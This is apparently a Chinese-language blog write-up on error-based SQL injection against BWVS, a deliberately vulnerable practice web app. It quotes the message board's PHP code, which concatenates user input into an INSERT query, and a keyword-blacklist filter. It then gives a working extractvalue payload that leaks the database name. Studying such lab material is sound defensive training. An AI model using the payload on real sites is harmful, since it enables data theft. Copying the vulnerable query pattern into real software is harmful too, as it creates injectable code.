BWVS-SQL报错型注入

0x00 报错型注入

什么是报错型注入呢?

其实指的是在php开启了mysql错误回显后才能进行的注入方式,大多是利用一些特殊的函数来导致mysql出错,错误回显到前端完成的注入方式,能够进行报错注入的函数有不少,具体可以看以下几篇文章

  • 十种MySQL报错注入
  • floor()函数形成的注入
  • 报错注入:extractvalue、updatexml报错原理

0x01 漏洞位置:/messageSub.php

BWVS-SQL报错型注入_第1张图片
其实就是这里的留言板,先看源码


header("Content-type: text/html; charset=utf-8");
include_once('./bwvs_config/sys_config.php');
if(isset($_POST['submit']) && isset($_SESSION['user_name'])){
        if(!empty($_POST['message'])){
                $clean_message = update_waf($_POST['message']);
                $clean_message = XSS_Message($clean_message);
                date_default_timezone_set("Asia/Shanghai");
                $time = date("Y-m-d");
                $user_name = $_SESSION['user_name'];
                $user_id = $_SESSION['user_id'];
                $sql = "INSERT INTO dwvs_message(dwvs_message,DWVS_mes_time,DWVS_mes_name,DWVS_uid) VALUES ('$clean_message','$time','$user_name','$user_id')";
                mysqli_query($connect,$sql) or die(mysqli_error($connect));
                mysqli_close($connect);
                echo '';
        }else{
                echo '';
        }
}else{
        not_find($_SERVER['PHP_SELF']);
}
?>

有两个waf,去看下waf的代码。

 function update_waf($upda_Name)
 {
         $black_str = "/(and|xor|union|sleep|substr|order|by|delete|drop|outfile|load_file)/i";
         $upda_Name = preg_replace($black_str, "", $upda_Name);
         $upda_Name = preg_replace("/union\s+select/i","",$upda_Name);
         $upda_Name = preg_replace("/and\s+sleep/i","",$upda_Name);
         if(preg_match($black_str,$upda_Name)){
                 $upda_Name = update_waf($upda_Name);
                 return $upda_Name;
         }
         return $upda_Name;
 }

做了循环过滤,所以大小写和双写都不可以绕过的,同时再次匹配了union selectsleep,感觉没啥用,因为这里用的不是查询语句,用的是insert,而且同时也开了die(mysqli_error($connect)),所以这里用报错注入比较好。
这里在用' or extractvalue(1,concat(0x7e,database(),0x7e))#的时候发现报的错很奇怪
BWVS-SQL报错型注入_第2张图片
还换了几个其他的函数试过了,都是同样的,最后去查数据库的日志才发现,原来少了一个括号
INSERT INTO dwvs_message(dwvs_message,DWVS_mes_time,DWVS_mes_name,DWVS_uid) VALUES ('' or extractvalue(1,concat(0x7e,database(),0x7e))#','2019-11-24','admin','1'),这里要把VALUES后面的括号给闭合起来,才能成功报错。
BWVS-SQL报错型注入_第3张图片


0x02 漏洞位置:/user/updateName.php

这个就不多说了,这个我在BWVS-SQL联合查询注入中有分析。

你可能感兴趣的:(#,BWVS)